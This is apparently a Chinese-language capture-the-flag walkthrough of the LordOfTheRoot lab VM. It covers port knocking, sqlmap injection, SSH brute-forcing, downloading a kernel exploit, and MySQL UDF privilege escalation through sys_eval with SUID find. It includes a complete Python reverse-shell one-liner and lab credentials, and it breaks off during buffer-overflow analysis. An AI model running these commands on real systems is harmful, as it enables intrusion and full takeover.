LordOfTheRoot_1.0.1
namp简单使用
namp 192.168.5.0/24 -sP 探测目标主机存活情况 namp 192.168.5.0/24 -O 识别操作系统
|
namp 192.168.5.153 -sS -sV -A -T4 -p- -p- 全端口扫描 1-65535 但是比较耗时间 -sS SYN扫描,只完成三次握手前两次,很少有系统记入日志,默认使用,需要root(admin)权限 -sV 探测端口号版本 -A 全面系统检查,使用脚本检测,扫描等 -T4 针对TCP端口进制动态扫描延迟重10ms
|
得到 22 端口 ssh 操作系统linux3.X|4.X
|
ssh查看
发现提示 knock Easy as 1,2,3 意思是敲击三次,端口碰撞
端口碰撞
protknocking
端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法 一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机 端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击 端口试探类似于一次密码握手协议,比如一种最基本的方式:发送一定序列的udp tcp数据包 当运行在主机上的daemon程序捕捉到数据包之后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过 由于对外的linux服务器通过限制ip地址的方式来控制访问,因此可以利用这个端口试探的方式来进行防火墙对于访问ip控制
|
要求
端口碰撞要求知道端口碰撞的序列,否则爆破机会很小 Easy as 1,2,3 碰撞序列为1,2,3
|
knock
apt install knockd man knock knock 192.168.5.153 1 2 3 -v
|
nmap 192.168.5.153 -sS -sV -A -T4 -p-
|
端口碰撞后开启的端口 只有碰撞的主机ip可以访问,其他未碰撞主机还是无法访问.发现开启了1337端口
robots.txt文件
sqlmap注入
抓个包sqlmap跑一下
sqlmap -o -u http://192.168.5.153:1337/978345210/index.php --forms --batch --dbs --fresh-querie ------------- Optimization -o:开启所有优化开关 --predict-output:预测常见的查询输出 --keep-alive:使用持久的HTTP(S)连接 --null-connection:从没有实际的HTTP响应体中检索页面长度
--threads=THREADS:设置请求的并发数 --forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试 -------------
|
sqlmap -r s.txt --batch --current-db
|
sqlmap -r s.txt --batch -D Webapp --tables
|
ssh爆破
hydra爆破ssh
msf爆破ssh
若有用户名和密码字段的话,使用auxiliary/scanner/ssh/ssh_login模块.若不知道,使用auxiliary/scanner/shh/ssh_enumusers模块先探测用户名是否存在
https://blog.csdn.net/huweiliyi/article/details/105590291
set rhost 192.168.5.153 set user_file users.txt set pass_file passwd.txt exploit
|
提权
exp提权
ssh登录
ssh smeagol@192.168.5.153 MyPreciousR00t
|
id uname -a 查看主机操作系统 内核信息 hostnamectl
|
smeagol@LordOfTheRoot:~$ id uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol) smeagol@LordOfTheRoot:~$ uname -a Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux smeagol@LordOfTheRoot:~$ hostnamectl Static hostname: LordOfTheRoot Icon name: computer-vm Chassis: vm Boot ID: 5bd2fb73a2ea4cd4b96b83a803062787 Operating System: Ubuntu 14.04.3 LTS Kernel: Linux 3.19.0-25-generic Architecture: i686
|
https://www.exploit-db.com/exploits/39166
使用exploit
searchsploit 39166 在kali本地exploit库搜索
|
locate linux/local/39166.c 查看位置
|
cp /usr/share/exploitdb/exploits/linux/local/39166.c ./wanan 复制
|
python2 -m SimpleHTTPServer 8081 开启http服务
|
wget http://192.168.5.152:8081/39166.c 下载exp
|
udf提权
条件
- root 权限运行mysql
- 在mysql 5.5 之前secure_file_priv 默认是空,这个情况下可以像任意路径写文件
- 在mysql 5.5 之后 secure_file_priv 默认是NULL 这个情况下不可以写文件
- udf.dll文件必须防止在mysql安装目录的lib\plugin文件下才可以创建自定义函数
mysql版本,权限
dpkg -l | grep mysql 查看历史安装包版本 5.5.44
|
ps aux | grep mysql 查看mysql进程信息 root 权限
|
mysql 密码
cd /var/www/978345210/ ls cat login.php
|
用户名 root 密码 darkshadow mysql -u root -p
|
查看能否udf提权
show global variables like 'secure%';
|
可以提权
show variables like 'plugin%';
|
查看能否远程登录
use mysql; select user,host from user; 不能远程登录
|
MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。 BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob) 除了在存储的最大信息量上不同外,他们是等同的。
MySQL的四种BLOB类型: 类型 大小(单位:字节) TinyBlob 最大 255 Blob 最大 65K MediumBlob 最大 16M LongBlob 最大 4G
可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys: sys_eval,执行任意命令,并将输出返回 sys_exec,执行任意命令,并将退出码返回。
或者udf exploit提佛那个的函数执行系统命令 do_system
本次使用lib_mysqludf_sys
|
locate lib_mysqludf_sys 查看lib_mysqludf_sys位置
|
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so ./ mv lib_mysqludf_sys_32.so udf.so 重命名 du udf.so 看大小 python2 -m SimpleHTTPServer 8081 起服务
|
cd /tmp wget http://192.168.5.152:8081/udf.so 下载到/tmp目录下
|
mysql -u root -p create table udf (line blob); 创建,用于存放本地传来的udf文件的内容. insert into udf values(load_file('/tmp/udf.so')); 在表中写入udf文件内容 select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; # 将udf文件内容传入新建的udf.so文件中,路径根据自己的@@basedir修改 create function sys_eval returns string soname 'udf.so'; 创建自定义函数 select * from mysql.func; 查看函数 select sys_eval('chmod u+s /usr/bin/find'); 调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令 exit
|
find / -exec '/bin/sh' \; 执行提权
/ !此时是没有框架的 要是想反弹shell 需要有框架 // python -c "import pty;pty.spawn(\"/bin/bash\")" 获得框架 // 现在主机用 nc 监听端口有 nc -lvp port // 在使用反弹shell命令进行反弹 // python 反弹shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("监听主机ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
cd /root ls cat Flag.txt
|
缓冲区(buff) 看不懂
https://blog.csdn.net/WHHLS/article/details/123860109
标准函数 stycpy() strcat() sprintf() vsprintf() gets() scanf()
|
ALSR
SECRET文件夹目录 是缓冲区溢出的一个标志目录
find / -name SECRET 2>/dev/null 其中2>/dev/null 忽略警告值
|
在该目录下发现三个子目录每一个子目录有一个file文件
有的缓冲区会设置ALSRJ机制 即随机化
0 = 关闭 1 = 半随机 共享库 栈 mmap() 以及VDSO 将被随机化 2 = 全随机 cat /proc/sys/kernel/randomize_va_space 查看 2 全随机
|
根据文件夹大小来判断 两个为7.2k 一个为5.1k 5.1k是主要文件 由于会随机变化 将目录用base64编码 在转码保存到攻击机
vim base64.txt gedit base64.txt cat base64.txt | base64 -d > file
|
chmod u+x file 给文件执行权 使用python命令快速模糊判断多少个字符会导致程序崩溃.python有-c参数,允许代码直接从shell执行 ./file $(python2 -c 'print "A" * 100')
|
GDB-peda
GDB进行分析 apt install gdb git clone https://github.com/longld/peda.git echo "source ~/wanan/peda/peda.py" >> ~/.gdbinit 想要用某一个插件的时候,只要输入对应命令就行! gdb file gdb分析file文件
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 当我们不确定界址时 可以生成乱码进行填充
|